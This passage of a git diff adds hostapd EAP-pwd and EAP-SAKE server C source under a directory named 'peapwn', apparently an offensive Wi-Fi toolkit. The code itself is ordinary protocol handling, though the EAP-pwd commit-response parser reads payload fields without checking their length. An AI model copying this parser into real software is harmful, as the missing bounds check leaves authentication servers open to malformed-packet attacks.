NULL) || + ((y = BN_new()) == NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): point allocation " + "fail"); + goto fin; + } + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->my_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): point assignment " + "fail"); + goto fin; + } + + if (((scalar = os_malloc(BN_num_bytes(data->grp->order))) == NULL) || + ((element = os_malloc(BN_num_bytes(data->grp->prime) * 2)) == + NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): data allocation fail"); + goto fin; + } + + /* + * bignums occupy as little memory as possible so one that is + * sufficiently smaller than the prime or order might need pre-pending + * with zeros. + */ + os_memset(scalar, 0, BN_num_bytes(data->grp->order)); + os_memset(element, 0, BN_num_bytes(data->grp->prime) * 2); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->my_scalar); + BN_bn2bin(data->my_scalar, scalar + offset); + + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, element + offset); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, element + BN_num_bytes(data->grp->prime) + offset); + + data->outbuf = wpabuf_alloc(2 * BN_num_bytes(data->grp->prime) + + BN_num_bytes(data->grp->order)); + if (data->outbuf == NULL) + goto fin; + + /* We send the element as (x,y) followed by the scalar */ + wpabuf_put_data(data->outbuf, element, + 2 * BN_num_bytes(data->grp->prime)); + wpabuf_put_data(data->outbuf, scalar, BN_num_bytes(data->grp->order)); + +fin: + os_free(scalar); + os_free(element); + BN_free(x); + BN_free(y); + if (data->outbuf == NULL) + eap_pwd_state(data, FAILURE); +} + + +static void eap_pwd_build_confirm_req(struct eap_sm *sm, + struct eap_pwd_data *data, u8 id) +{ + BIGNUM *x = NULL, *y = NULL; + struct crypto_hash *hash; + u8 conf[SHA256_MAC_LEN], *cruft = NULL, *ptr; + u16 grp; + int offset; + + wpa_printf(MSG_DEBUG, "EAP-pwd: Confirm/Request"); + /* + * if we're fragmenting then we already have an confirm request, just + * return + */ + if (data->out_frag_pos) + return; + + /* Each component of the cruft will be at most as big as the prime */ + if (((cruft = os_malloc(BN_num_bytes(data->grp->prime))) == NULL) || + ((x = BN_new()) == NULL) || ((y = BN_new()) == NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): debug allocation " + "fail"); + goto fin; + } + + /* + * commit is H(k | server_element | server_scalar | peer_element | + * peer_scalar | ciphersuite) + */ + hash = eap_pwd_h_init(); + if (hash == NULL) + goto fin; + + /* + * Zero the memory each time because this is mod prime math and some + * value may start with a few zeros and the previous one did not. + * + * First is k + */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(data->k); + BN_bn2bin(data->k, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* server element: x, y */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->my_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): confirm point " + "assignment fail"); + goto fin; + } + + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* server scalar */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->my_scalar); + BN_bn2bin(data->my_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->order)); + + /* peer element: x, y */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->peer_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): confirm point " + "assignment fail"); + goto fin; + } + + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* peer scalar */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->peer_scalar); + BN_bn2bin(data->peer_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->order)); + + /* ciphersuite */ + grp = htons(data->group_num); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + ptr = cruft; + os_memcpy(ptr, &grp, sizeof(u16)); + ptr += sizeof(u16); + *ptr = EAP_PWD_DEFAULT_RAND_FUNC; + ptr += sizeof(u8); + *ptr = EAP_PWD_DEFAULT_PRF; + ptr += sizeof(u8); + eap_pwd_h_update(hash, cruft, ptr - cruft); + + /* all done with the random function */ + eap_pwd_h_final(hash, conf); + os_memcpy(data->my_confirm, conf, SHA256_MAC_LEN); + + data->outbuf = wpabuf_alloc(SHA256_MAC_LEN); + if (data->outbuf == NULL) + goto fin; + + wpabuf_put_data(data->outbuf, conf, SHA256_MAC_LEN); + +fin: + os_free(cruft); + BN_free(x); + BN_free(y); + if (data->outbuf == NULL) + eap_pwd_state(data, FAILURE); +} + + +static struct wpabuf * +eap_pwd_build_req(struct eap_sm *sm, void *priv, u8 id) +{ + struct eap_pwd_data *data = priv; + struct wpabuf *req; + u8 lm_exch; + const u8 *buf; + u16 totlen = 0; + size_t len; + + /* + * if we're buffering response fragments then just ACK + */ + if (data->in_frag_pos) { + wpa_printf(MSG_DEBUG, "EAP-pwd: ACKing a fragment!!"); + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PWD, + EAP_PWD_HDR_SIZE, EAP_CODE_REQUEST, id); + if (req == NULL) { + eap_pwd_state(data, FAILURE); + return NULL; + } + switch (data->state) { + case PWD_ID_Req: + wpabuf_put_u8(req, EAP_PWD_OPCODE_ID_EXCH); + break; + case PWD_Commit_Req: + wpabuf_put_u8(req, EAP_PWD_OPCODE_COMMIT_EXCH); + break; + case PWD_Confirm_Req: + wpabuf_put_u8(req, EAP_PWD_OPCODE_CONFIRM_EXCH); + break; + default: + eap_pwd_state(data, FAILURE); /* just to be sure */ + wpabuf_free(req); + return NULL; + } + return req; + } + + /* + * build the data portion of a request + */ + switch (data->state) { + case PWD_ID_Req: + eap_pwd_build_id_req(sm, data, id); + lm_exch = EAP_PWD_OPCODE_ID_EXCH; + break; + case PWD_Commit_Req: + eap_pwd_build_commit_req(sm, data, id); + lm_exch = EAP_PWD_OPCODE_COMMIT_EXCH; + break; + case PWD_Confirm_Req: + eap_pwd_build_confirm_req(sm, data, id); + lm_exch = EAP_PWD_OPCODE_CONFIRM_EXCH; + break; + default: + wpa_printf(MSG_INFO, "EAP-pwd: Unknown state %d in build_req", + data->state); + eap_pwd_state(data, FAILURE); + lm_exch = 0; /* hush now, sweet compiler */ + break; + } + + if (data->state == FAILURE) + return NULL; + + /* + * determine whether that data needs to be fragmented + */ + len = wpabuf_len(data->outbuf) - data->out_frag_pos; + if ((len + EAP_PWD_HDR_SIZE) > data->mtu) { + len = data->mtu - EAP_PWD_HDR_SIZE; + EAP_PWD_SET_MORE_BIT(lm_exch); + /* + * if this is the first fragment, need to set the M bit + * and add the total length to the eap_pwd_hdr + */ + if (data->out_frag_pos == 0) { + EAP_PWD_SET_LENGTH_BIT(lm_exch); + totlen = wpabuf_len(data->outbuf) + + EAP_PWD_HDR_SIZE + sizeof(u16); + len -= sizeof(u16); + wpa_printf(MSG_DEBUG, "EAP-pwd: Fragmenting output, " + "total length = %d", totlen); + } + wpa_printf(MSG_DEBUG, "EAP-pwd: Send a %d byte fragment", + (int) len); + } + + /* + * alloc an eap request and populate it with the data + */ + req = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_PWD, + EAP_PWD_HDR_SIZE + len + + (totlen ? sizeof(u16) : 0), + EAP_CODE_REQUEST, id); + if (req == NULL) { + eap_pwd_state(data, FAILURE); + return NULL; + } + + wpabuf_put_u8(req, lm_exch); + if (EAP_PWD_GET_LENGTH_BIT(lm_exch)) + wpabuf_put_be16(req, totlen); + + buf = wpabuf_head_u8(data->outbuf); + wpabuf_put_data(req, buf + data->out_frag_pos, len); + data->out_frag_pos += len; + /* + * either not fragged or last fragment, either way free up the data + */ + if (data->out_frag_pos >= wpabuf_len(data->outbuf)) { + wpabuf_free(data->outbuf); + data->out_frag_pos = 0; + } + + return req; +} + + +static Boolean eap_pwd_check(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_pwd_data *data = priv; + const u8 *pos; + size_t len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PWD, respData, &len); + if (pos == NULL || len < 1) { + wpa_printf(MSG_INFO, "EAP-pwd: Invalid frame"); + return TRUE; + } + + wpa_printf(MSG_DEBUG, "EAP-pwd: Received frame: exch = %d, len = %d", + EAP_PWD_GET_EXCHANGE(*pos), (int) len); + + if (data->state == PWD_ID_Req && + ((EAP_PWD_GET_EXCHANGE(*pos)) == EAP_PWD_OPCODE_ID_EXCH)) + return FALSE; + + if (data->state == PWD_Commit_Req && + ((EAP_PWD_GET_EXCHANGE(*pos)) == EAP_PWD_OPCODE_COMMIT_EXCH)) + return FALSE; + + if (data->state == PWD_Confirm_Req && + ((EAP_PWD_GET_EXCHANGE(*pos)) == EAP_PWD_OPCODE_CONFIRM_EXCH)) + return FALSE; + + wpa_printf(MSG_INFO, "EAP-pwd: Unexpected opcode=%d in state=%d", + *pos, data->state); + + return TRUE; +} + + +static void eap_pwd_process_id_resp(struct eap_sm *sm, + struct eap_pwd_data *data, + const u8 *payload, size_t payload_len) +{ + struct eap_pwd_id *id; + + if (payload_len < sizeof(struct eap_pwd_id)) { + wpa_printf(MSG_INFO, "EAP-pwd: Invalid ID response"); + return; + } + + id = (struct eap_pwd_id *) payload; + if ((data->group_num != be_to_host16(id->group_num)) || + (id->random_function != EAP_PWD_DEFAULT_RAND_FUNC) || + (os_memcmp(id->token, (u8 *)&data->token, sizeof(data->token))) || + (id->prf != EAP_PWD_DEFAULT_PRF)) { + wpa_printf(MSG_INFO, "EAP-pwd: peer changed parameters"); + eap_pwd_state(data, FAILURE); + return; + } + data->id_peer = os_malloc(payload_len - sizeof(struct eap_pwd_id)); + if (data->id_peer == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: memory allocation id fail"); + return; + } + data->id_peer_len = payload_len - sizeof(struct eap_pwd_id); + os_memcpy(data->id_peer, id->identity, data->id_peer_len); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-PWD (server): peer sent id of", + data->id_peer, data->id_peer_len); + + if ((data->grp = os_malloc(sizeof(EAP_PWD_group))) == NULL) { + wpa_printf(MSG_INFO, "EAP-PWD: failed to allocate memory for " + "group"); + return; + } + if (compute_password_element(data->grp, data->group_num, + data->password, data->password_len, + data->id_server, data->id_server_len, + data->id_peer, data->id_peer_len, + (u8 *) &data->token)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): unable to compute " + "PWE"); + return; + } + wpa_printf(MSG_DEBUG, "EAP-PWD (server): computed %d bit PWE...", + BN_num_bits(data->grp->prime)); + + eap_pwd_state(data, PWD_Commit_Req); +} + + +static void +eap_pwd_process_commit_resp(struct eap_sm *sm, struct eap_pwd_data *data, + const u8 *payload, size_t payload_len) +{ + u8 *ptr; + BIGNUM *x = NULL, *y = NULL, *cofactor = NULL; + EC_POINT *K = NULL, *point = NULL; + int res = 0; + + wpa_printf(MSG_DEBUG, "EAP-pwd: Received commit response"); + + if (((data->peer_scalar = BN_new()) == NULL) || + ((data->k = BN_new()) == NULL) || + ((cofactor = BN_new()) == NULL) || + ((x = BN_new()) == NULL) || + ((y = BN_new()) == NULL) || + ((point = EC_POINT_new(data->grp->group)) == NULL) || + ((K = EC_POINT_new(data->grp->group)) == NULL) || + ((data->peer_element = EC_POINT_new(data->grp->group)) == NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): peer data allocation " + "fail"); + goto fin; + } + + if (!EC_GROUP_get_cofactor(data->grp->group, cofactor, NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): unable to get " + "cofactor for curve"); + goto fin; + } + + /* element, x then y, followed by scalar */ + ptr = (u8 *) payload; + BN_bin2bn(ptr, BN_num_bytes(data->grp->prime), x); + ptr += BN_num_bytes(data->grp->prime); + BN_bin2bn(ptr, BN_num_bytes(data->grp->prime), y); + ptr += BN_num_bytes(data->grp->prime); + BN_bin2bn(ptr, BN_num_bytes(data->grp->order), data->peer_scalar); + if (!EC_POINT_set_affine_coordinates_GFp(data->grp->group, + data->peer_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): setting peer element " + "fail"); + goto fin; + } + + /* check to ensure peer's element is not in a small sub-group */ + if (BN_cmp(cofactor, BN_value_one())) { + if (!EC_POINT_mul(data->grp->group, point, NULL, + data->peer_element, cofactor, NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): cannot " + "multiply peer element by order"); + goto fin; + } + if (EC_POINT_is_at_infinity(data->grp->group, point)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): peer element " + "is at infinity!\n"); + goto fin; + } + } + + /* compute the shared key, k */ + if ((!EC_POINT_mul(data->grp->group, K, NULL, data->grp->pwe, + data->peer_scalar, data->bnctx)) || + (!EC_POINT_add(data->grp->group, K, K, data->peer_element, + data->bnctx)) || + (!EC_POINT_mul(data->grp->group, K, NULL, K, data->private_value, + data->bnctx))) { + wpa_printf(MSG_INFO, "EAP-PWD (server): computing shared key " + "fail"); + goto fin; + } + + /* ensure that the shared key isn't in a small sub-group */ + if (BN_cmp(cofactor, BN_value_one())) { + if (!EC_POINT_mul(data->grp->group, K, NULL, K, cofactor, + NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): cannot " + "multiply shared key point by order!\n"); + goto fin; + } + } + + /* + * This check is strictly speaking just for the case above where + * co-factor > 1 but it was suggested that even though this is probably + * never going to happen it is a simple and safe check "just to be + * sure" so let's be safe. + */ + if (EC_POINT_is_at_infinity(data->grp->group, K)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): shared key point is " + "at infinity"); + goto fin; + } + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, K, data->k, + NULL, data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): unable to extract " + "shared secret from secret point"); + goto fin; + } + res = 1; + +fin: + EC_POINT_free(K); + EC_POINT_free(point); + BN_free(cofactor); + BN_free(x); + BN_free(y); + + if (res) + eap_pwd_state(data, PWD_Confirm_Req); + else + eap_pwd_state(data, FAILURE); +} + + +static void +eap_pwd_process_confirm_resp(struct eap_sm *sm, struct eap_pwd_data *data, + const u8 *payload, size_t payload_len) +{ + BIGNUM *x = NULL, *y = NULL; + struct crypto_hash *hash; + u32 cs; + u16 grp; + u8 conf[SHA256_MAC_LEN], *cruft = NULL, *ptr; + int offset; + + /* build up the ciphersuite: group | random_function | prf */ + grp = htons(data->group_num); + ptr = (u8 *) &cs; + os_memcpy(ptr, &grp, sizeof(u16)); + ptr += sizeof(u16); + *ptr = EAP_PWD_DEFAULT_RAND_FUNC; + ptr += sizeof(u8); + *ptr = EAP_PWD_DEFAULT_PRF; + + /* each component of the cruft will be at most as big as the prime */ + if (((cruft = os_malloc(BN_num_bytes(data->grp->prime))) == NULL) || + ((x = BN_new()) == NULL) || ((y = BN_new()) == NULL)) { + wpa_printf(MSG_INFO, "EAP-PWD (peer): allocation fail"); + goto fin; + } + + /* + * commit is H(k | peer_element | peer_scalar | server_element | + * server_scalar | ciphersuite) + */ + hash = eap_pwd_h_init(); + if (hash == NULL) + goto fin; + + /* k */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(data->k); + BN_bn2bin(data->k, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* peer element: x, y */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->peer_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): confirm point " + "assignment fail"); + goto fin; + } + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* peer scalar */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->peer_scalar); + BN_bn2bin(data->peer_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->order)); + + /* server element: x, y */ + if (!EC_POINT_get_affine_coordinates_GFp(data->grp->group, + data->my_element, x, y, + data->bnctx)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): confirm point " + "assignment fail"); + goto fin; + } + + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(x); + BN_bn2bin(x, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->prime) - BN_num_bytes(y); + BN_bn2bin(y, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->prime)); + + /* server scalar */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + offset = BN_num_bytes(data->grp->order) - + BN_num_bytes(data->my_scalar); + BN_bn2bin(data->my_scalar, cruft + offset); + eap_pwd_h_update(hash, cruft, BN_num_bytes(data->grp->order)); + + /* ciphersuite */ + os_memset(cruft, 0, BN_num_bytes(data->grp->prime)); + eap_pwd_h_update(hash, (u8 *) &cs, sizeof(u32)); + + /* all done */ + eap_pwd_h_final(hash, conf); + + ptr = (u8 *) payload; + if (os_memcmp(conf, ptr, SHA256_MAC_LEN)) { + wpa_printf(MSG_INFO, "EAP-PWD (server): confirm did not " + "verify"); + goto fin; + } + + wpa_printf(MSG_DEBUG, "EAP-pwd (server): confirm verified"); + if (compute_keys(data->grp, data->bnctx, data->k, + data->peer_scalar, data->my_scalar, conf, + data->my_confirm, &cs, data->msk, data->emsk) < 0) + eap_pwd_state(data, FAILURE); + else + eap_pwd_state(data, SUCCESS); + +fin: + os_free(cruft); + BN_free(x); + BN_free(y); +} + + +static void eap_pwd_process(struct eap_sm *sm, void *priv, + struct wpabuf *respData) +{ + struct eap_pwd_data *data = priv; + const u8 *pos; + size_t len; + u8 lm_exch; + u16 tot_len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_PWD, respData, &len); + if ((pos == NULL) || (len < 1)) { + wpa_printf(MSG_INFO, "Bad EAP header! pos %s and len = %d", + (pos == NULL) ? "is NULL" : "is not NULL", + (int) len); + return; + } + + lm_exch = *pos; + pos++; /* skip over the bits and the exch */ + len--; + + /* + * if we're fragmenting then this should be an ACK with no data, + * just return and continue fragmenting in the "build" section above + */ + if (data->out_frag_pos) { + if (len > 1) + wpa_printf(MSG_INFO, "EAP-pwd: Bad response! " + "Fragmenting but not an ACK"); + else + wpa_printf(MSG_DEBUG, "EAP-pwd: received ACK from " + "peer"); + return; + } + /* + * if we're receiving fragmented packets then we need to buffer... + * + * the first fragment has a total length + */ + if (EAP_PWD_GET_LENGTH_BIT(lm_exch)) { + tot_len = WPA_GET_BE16(pos); + wpa_printf(MSG_DEBUG, "EAP-pwd: Incoming fragments, total " + "length = %d", tot_len); + data->inbuf = wpabuf_alloc(tot_len); + if (data->inbuf == NULL) { + wpa_printf(MSG_INFO, "EAP-pwd: Out of memory to " + "buffer fragments!"); + return; + } + pos += sizeof(u16); + len -= sizeof(u16); + } + /* + * the first and all intermediate fragments have the M bit set + */ + if (EAP_PWD_GET_MORE_BIT(lm_exch)) { + if ((data->in_frag_pos + len) > wpabuf_size(data->inbuf)) { + wpa_printf(MSG_DEBUG, "EAP-pwd: Buffer overflow " + "attack detected! (%d+%d > %d)", + (int) data->in_frag_pos, (int) len, + (int) wpabuf_size(data->inbuf)); + eap_pwd_state(data, FAILURE); + return; + } + wpabuf_put_data(data->inbuf, pos, len); + data->in_frag_pos += len; + wpa_printf(MSG_DEBUG, "EAP-pwd: Got a %d byte fragment", + (int) len); + return; + } + /* + * last fragment won't have the M bit set (but we're obviously + * buffering fragments so that's how we know it's the last) + */ + if (data->in_frag_pos) { + wpabuf_put_data(data->inbuf, pos, len); + data->in_frag_pos += len; + pos = wpabuf_head_u8(data->inbuf); + len = data->in_frag_pos; + wpa_printf(MSG_DEBUG, "EAP-pwd: Last fragment, %d bytes", + (int) len); + } + switch (EAP_PWD_GET_EXCHANGE(lm_exch)) { + case EAP_PWD_OPCODE_ID_EXCH: + eap_pwd_process_id_resp(sm, data, pos, len); + break; + case EAP_PWD_OPCODE_COMMIT_EXCH: + eap_pwd_process_commit_resp(sm, data, pos, len); + break; + case EAP_PWD_OPCODE_CONFIRM_EXCH: + eap_pwd_process_confirm_resp(sm, data, pos, len); + break; + } + /* + * if we had been buffering fragments, here's a great place + * to clean up + */ + if (data->in_frag_pos) { + wpabuf_free(data->inbuf); + data->in_frag_pos = 0; + } +} + + +static u8 * eap_pwd_getkey(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_pwd_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_MSK_LEN); + if (key == NULL) + return NULL; + + os_memcpy(key, data->msk, EAP_MSK_LEN); + *len = EAP_MSK_LEN; + + return key; +} + + +static u8 * eap_pwd_get_emsk(struct eap_sm *sm, void *priv, size_t *len) +{ + struct eap_pwd_data *data = priv; + u8 *key; + + if (data->state != SUCCESS) + return NULL; + + key = os_malloc(EAP_EMSK_LEN); + if (key == NULL) + return NULL; + + os_memcpy(key, data->emsk, EAP_EMSK_LEN); + *len = EAP_EMSK_LEN; + + return key; +} + + +static Boolean eap_pwd_is_success(struct eap_sm *sm, void *priv) +{ + struct eap_pwd_data *data = priv; + return data->state == SUCCESS; +} + + +static Boolean eap_pwd_is_done(struct eap_sm *sm, void *priv) +{ + struct eap_pwd_data *data = priv; + return (data->state == SUCCESS) || (data->state == FAILURE); +} + + +int eap_server_pwd_register(void) +{ + struct eap_method *eap; + int ret; + struct timeval tp; + struct timezone tz; + u32 sr; + + EVP_add_digest(EVP_sha256()); + + sr = 0xdeaddada; + (void) gettimeofday(&tp, &tz); + sr ^= (tp.tv_sec ^ tp.tv_usec); + srandom(sr); + + eap = eap_server_method_alloc(EAP_SERVER_METHOD_INTERFACE_VERSION, + EAP_VENDOR_IETF, EAP_TYPE_PWD, + "PWD"); + if (eap == NULL) + return -1; + + eap->init = eap_pwd_init; + eap->reset = eap_pwd_reset; + eap->buildReq = eap_pwd_build_req; + eap->check = eap_pwd_check; + eap->process = eap_pwd_process; + eap->isDone = eap_pwd_is_done; + eap->getKey = eap_pwd_getkey; + eap->get_emsk = eap_pwd_get_emsk; + eap->isSuccess = eap_pwd_is_success; + + ret = eap_server_method_register(eap); + if (ret) + eap_server_method_free(eap); + return ret; +} + diff --git a/peapwn/mods/hostap/src/eap_server/eap_server_sake.c b/peapwn/mods/hostap/src/eap_server/eap_server_sake.c new file mode 100644 index 000000000..68dd76b18 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/eap_server_sake.c @@ -0,0 +1,522 @@ +/* + * hostapd / EAP-SAKE (RFC 4763) server + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_server/eap_i.h" +#include "eap_common/eap_sake_common.h" + + +struct eap_sake_data { + enum { IDENTITY, CHALLENGE, CONFIRM, SUCCESS, FAILURE } state; + u8 rand_s[EAP_SAKE_RAND_LEN]; + u8 rand_p[EAP_SAKE_RAND_LEN]; + struct { + u8 auth[EAP_SAKE_TEK_AUTH_LEN]; + u8 cipher[EAP_SAKE_TEK_CIPHER_LEN]; + } tek; + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 session_id; + u8 *peerid; + size_t peerid_len; +}; + + +static const char * eap_sake_state_txt(int state) +{ + switch (state) { + case IDENTITY: + return "IDENTITY"; + case CHALLENGE: + return "CHALLENGE"; + case CONFIRM: + return "CONFIRM"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} + + +static void eap_sake_state(struct eap_sake_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-SAKE: %s -> %s", + eap_sake_state_txt(data->state), + eap_sake_state_txt(state)); + data->state = state; +} + + +static void * eap_sake_init(struct eap_sm *sm) +{ + struct eap_sake_data *data; + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = CHALLENGE; + + if (os_get_random(&data->session_id, 1)) { + wpa_printf(MSG_ERROR, "EAP-SAKE: Failed to get random data"); + os_free(data); + return NULL; + } + wpa_printf(MSG_DEBUG, "EAP-SAKE: Initialized Session ID %d", + data->session_id); + + return data; +} + + +static void eap_sake_reset(struct eap_sm *sm, void *priv) +{ + struct eap_sake_data *data = priv; + os_free(data->peerid); + os_free(data); +} + + +static struct wpabuf * eap_sake_build_msg(struct eap_sake_data *data, + u8 id, size_t length, u8 subtype) +{ + struct eap_sake_hdr *sake; + struct wpabuf *msg; + size_t plen; + + plen = sizeof(struct eap_sake_hdr) + length; + + msg = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_SAKE, plen, + EAP_CODE_REQUEST, id); + if (msg == NULL) { + wpa_printf(MSG_ERROR, "EAP-SAKE: Failed to allocate memory " + "request"); + return NULL; + } + + sake = wpabuf_put(msg, sizeof(*sake)); + sake->version = EAP_SAKE_VERSION; + sake->session_id = data->session_id; + sake->subtype = subtype; + + return msg; +} + + +static struct wpabuf * eap_sake_build_identity(struct eap_sm *sm, + struct eap_sake_data *data, + u8 id) +{ + struct wpabuf *msg; + size_t plen; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Request/Identity"); + + plen = 4; + plen += 2 + sm->server_id_len; + msg = eap_sake_build_msg(data, id, plen, EAP_SAKE_SUBTYPE_IDENTITY); + if (msg == NULL) { + data->state = FAILURE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_PERM_ID_REQ"); + eap_sake_add_attr(msg, EAP_SAKE_AT_PERM_ID_REQ, NULL, 2); + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_SERVERID"); + eap_sake_add_attr(msg, EAP_SAKE_AT_SERVERID, + sm->server_id, sm->server_id_len); + + return msg; +} + + +static struct wpabuf * eap_sake_build_challenge(struct eap_sm *sm, + struct eap_sake_data *data, + u8 id) +{ + struct wpabuf *msg; + size_t plen; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Request/Challenge"); + + if (random_get_bytes(data->rand_s, EAP_SAKE_RAND_LEN)) { + wpa_printf(MSG_ERROR, "EAP-SAKE: Failed to get random data"); + data->state = FAILURE; + return NULL; + } + wpa_hexdump(MSG_MSGDUMP, "EAP-SAKE: RAND_S (server rand)", + data->rand_s, EAP_SAKE_RAND_LEN); + + plen = 2 + EAP_SAKE_RAND_LEN + 2 + sm->server_id_len; + msg = eap_sake_build_msg(data, id, plen, EAP_SAKE_SUBTYPE_CHALLENGE); + if (msg == NULL) { + data->state = FAILURE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_RAND_S"); + eap_sake_add_attr(msg, EAP_SAKE_AT_RAND_S, + data->rand_s, EAP_SAKE_RAND_LEN); + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_SERVERID"); + eap_sake_add_attr(msg, EAP_SAKE_AT_SERVERID, + sm->server_id, sm->server_id_len); + + return msg; +} + + +static struct wpabuf * eap_sake_build_confirm(struct eap_sm *sm, + struct eap_sake_data *data, + u8 id) +{ + struct wpabuf *msg; + u8 *mic; + + wpa_printf(MSG_DEBUG, "EAP-SAKE: Request/Confirm"); + + msg = eap_sake_build_msg(data, id, 2 + EAP_SAKE_MIC_LEN, + EAP_SAKE_SUBTYPE_CONFIRM); + if (msg == NULL) { + data->state = FAILURE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-SAKE: * AT_MIC_S"); + wpabuf_put_u8(msg, EAP_SAKE_AT_MIC_S); + wpabuf_put_u8(msg, 2 + EAP_SAKE_MIC_LEN); + mic = wpabuf_put(msg, EAP_SAKE_MIC_LEN); + if (eap_sake_compute_mic(data->tek.auth, data->rand_s, data->rand_p, + sm->server_id, sm->server_id_len, + data->peerid, data->peerid_len, 0, + wpabuf_head(msg), wpabuf_len(msg), mic, mic)) + { + wpa_printf(MSG_INFO, "EAP-SAKE: Failed to compute MIC"); + data->state = FAILURE; + os_free(msg); + return NULL; + } + + return msg; +} + + +static struct wpabuf * 